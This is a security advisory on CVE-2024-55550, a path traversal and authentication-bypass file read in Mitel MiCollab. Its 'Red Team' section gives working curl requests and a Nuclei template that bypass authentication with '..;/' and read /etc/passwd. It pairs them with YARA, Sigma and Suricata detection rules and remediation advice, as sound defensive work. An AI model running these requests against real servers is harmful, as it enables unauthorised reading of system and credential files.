CVE-2024-55550

Executive Summary

CVE-2024-55550 is a local file read vulnerability in Mitel MiCollab through version 9.8 SP2. An authenticated attacker with administrative privileges can exploit insufficient input sanitization to read arbitrary files on the server. The disclosure is limited to non-sensitive system information and does not allow file modification or privilege escalation. However, the provided Nuclei template demonstrates an unauthenticated path traversal variant that reads /etc/passwd, indicating a more severe impact than the official description. The vulnerability is publicly exploitable with a proof-of-concept (PoC) available in the Nuclei template.

Supply Chain & Package Security

This vulnerability affects Mitel MiCollab, a proprietary enterprise collaboration platform. No open-source package dependencies (NPM, PyPI, Go, Ruby) are directly involved. The risk is limited to organizations deploying Mitel MiCollab on-premises.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Base Score: 4.4 (Medium)
• Attack Vector: Local (AV:L) – requires authenticated admin access
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium (official) but elevated due to public unauthenticated PoC.

Deep Dive & Mechanics

The vulnerability resides in the ReconcileWizard component of Mitel MiCollab. The downloadReport operation does not properly sanitize the reportName parameter, allowing path traversal sequences (../) to read arbitrary files. The Nuclei template shows two stages:

1. Authentication Bypass: A GET request to /npm-pwg/..;/usp/searchUsers.do uses path normalization (..;) to bypass authentication and confirm the server is vulnerable.
2. File Read: A POST request to /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall with a crafted XML payload sets reportName to ../../../../etc/passwd, triggering the file read.

The root cause is insufficient input validation in the downloadReport operation, combined with a path normalization issue that allows unauthenticated access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No sanitization of reportName
String reportName = request.getParameter("reportName");
File file = new File(reportBasePath + reportName);
// Reads file without checking for path traversal

Patched Code (Expected):

// Patched: Sanitize and validate reportName
String reportName = request.getParameter("reportName");
if (reportName.contains("..") || reportName.contains("/") || reportName.contains("\\")) {
    throw new SecurityException("Invalid report name");
}
File file = new File(reportBasePath, reportName);
// Ensure file is within allowed directory
if (!file.getCanonicalPath().startsWith(reportBasePath)) {
    throw new SecurityException("Path traversal detected");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Mitel MiCollab <= 9.8 SP2
• Network access to the web interface (typically port 80/443)

Exploitation Steps:

1. Verify Vulnerability:

   curl -k "https://target/npm-pwg/..;/usp/searchUsers.do"
   

   Expected response contains "users" and "Network Element".

2. Read Arbitrary File:

   curl -k -X POST "https://target/npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2" \
   -H "Content-Type: application/x-www-form-urlencoded" \
   -d '_transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%22%3E2%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Ccriteria+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3E..%2F..%2F..%2Fetc%2Fpasswd%3C%2FreportName%3E%3C%2Fcriteria%3E%3CoperationConfig+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CdataSource%3Esummary_reports%3C%2FdataSource%3E%3CoperationType%3Efetch%3C%2FoperationType%3E%3C%2FoperationConfig%3E%3CappID%3EbuiltinApplication%3C%2FappID%3E%3Coperation%3EdownloadReport%3C%2Foperation%3E%3ColdValues+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3Ex.txt%3C%2FreportName%3E%3C%2FoldValues%3E%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Ex%3C%2Fjscallback%3E%3C%2Ftransaction%3E&protocolVersion=1.0&__iframeTarget__=x'
   

   Response body will contain the contents of /etc/passwd.

3. Automated Exploitation with Nuclei:

   nuclei -t CVE-2024-55550.yaml -u https://target
   

Blue Team

Detection Steps:

• Monitor for requests containing ..;/ in the URL path.
• Alert on POST requests to /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall with reportName containing ../.
• Check for anomalous file reads from /etc/passwd, /etc/shadow, or other sensitive files.

Hunting Queries:

• Search web server logs for ..;/ patterns.
• Look for XML payloads containing reportName with path traversal sequences.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_55550_Mitel_MiCollab_File_Read {
    meta:
        description = "Detects exploitation attempts for CVE-2024-55550"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55550"
    strings:
        $auth_bypass = "/npm-pwg/..;/usp/searchUsers.do"
        $file_read = "/npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall"
        $path_traversal = "reportName"
        $etc_passwd = "..%2F..%2F..%2Fetc%2Fpasswd"
    condition:
        any of ($auth_bypass, $file_read) and $path_traversal
}

Sigma Rule

title: CVE-2024-55550 Mitel MiCollab File Read Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-55550
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/npm-pwg/..;/usp/searchUsers.do"
            - "/npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall"
            - "reportName=..%2F"
    condition: selection
falsepositives:
    - Legitimate administrative use (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55550 Mitel MiCollab File Read Attempt"; flow:to_server; content:"/npm-pwg/..;/usp/searchUsers.do"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-55550 Mitel MiCollab File Read Payload"; flow:to_server; content:"/npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall"; http_uri; content:"reportName"; http_client_body; content:"..%2F"; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-55550

info:
  name: Mitel MiCollab - Arbitary File Read
  author: DhiyaneshDk,watchTowr
  severity: critical
  description: |
    The Mitel Collab Arbitrary File Read vulnerability allows an unauthenticated attacker to read arbitrary files from the underlying file system on a Mitel Collab server. Exploiting this flaw involves sending specially crafted requests to the server, bypassing access controls and allowing the attacker to retrieve sensitive files.
  impact: |
    Unauthenticated attackers can bypass authentication and exploit path traversal to read arbitrary files from the MiCollab server, exposing sensitive configuration, credentials, and system data.
  remediation: |
    Update Mitel MiCollab according to MISA-2024-0029 advisory to address the authentication bypass and path traversal vulnerabilities.
  reference:
    - https://github.com/watchtowrlabs/Mitel-MiCollab-Auth-Bypass_CVE-2024-41713
    - https://labs.watchtowr.com/where-theres-smoke-theres-fire-mitel-micollab-cve-2024-35286-cve-2024-41713-and-an-0day/
    - https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2024-0029
  classification:
    cve-id: CVE-2024-55550
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.4
    epss-score: 0.17725
    epss-percentile: 0.95137
    cpe: cpe:2.3:a:mitel:micollab:*:*:*:*:*:-:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mitel
    product: cmg_suite
    shodan-query: http.html:"Mitel Networks"
    fofa-query: body="mitel networks"
  tags: cve,cve2024,mitel,lfi,cmg-suite,auth-bypass,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /npm-pwg/..;/usp/searchUsers.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "users"
          - "Network Element"
        condition: and
        internal: true

  - raw:
      - |
        POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%22%3E2%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Ccriteria+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3E..%2F..%2F..%2Fetc%2Fpasswd%3C%2FreportName%3E%3C%2Fcriteria%3E%3CoperationConfig+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CdataSource%3Esummary_reports%3C%2FdataSource%3E%3CoperationType%3Efetch%3C%2FoperationType%3E%3C%2FoperationConfig%3E%3CappID%3EbuiltinApplication%3C%2FappID%3E%3Coperation%3EdownloadReport%3C%2Foperation%3E%3ColdValues+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3Ex.txt%3C%2FreportName%3E%3C%2FoldValues%3E%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Ex%3C%2Fjscallback%3E%3C%2Ftransaction%3E&protocolVersion=1.0&__iframeTarget__=x

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "micollab_api:.*:.*"
# digest: 4a0a00473045022100f19012592b7bb94d453bb9c65d5e69ddea0844a92fdc98412d88374691ae5b9202203f1d7dd6b2d565a69b815480ffcf468622d8804980e8305dd3e74269c0ceba58:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply the Mitel security advisory MISA-2024-0029 if available.
2. Restrict network access to the MiCollab web interface to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing ..;/ in the URL path.
4. Monitor logs for exploitation attempts.

Long-Term Fixes:

• Upgrade to a patched version of MiCollab once released.
• Conduct a code review of the ReconcileWizard component to implement proper input validation and path sanitization.
• Enforce strict file access controls on the server.

Workarounds:

• Disable the ReconcileWizard module if not required.
• Use file system permissions to restrict read access to sensitive files.

Valters IT

{/* [Security Hash: 1EBD9E7D7A239836011E7E2B] */}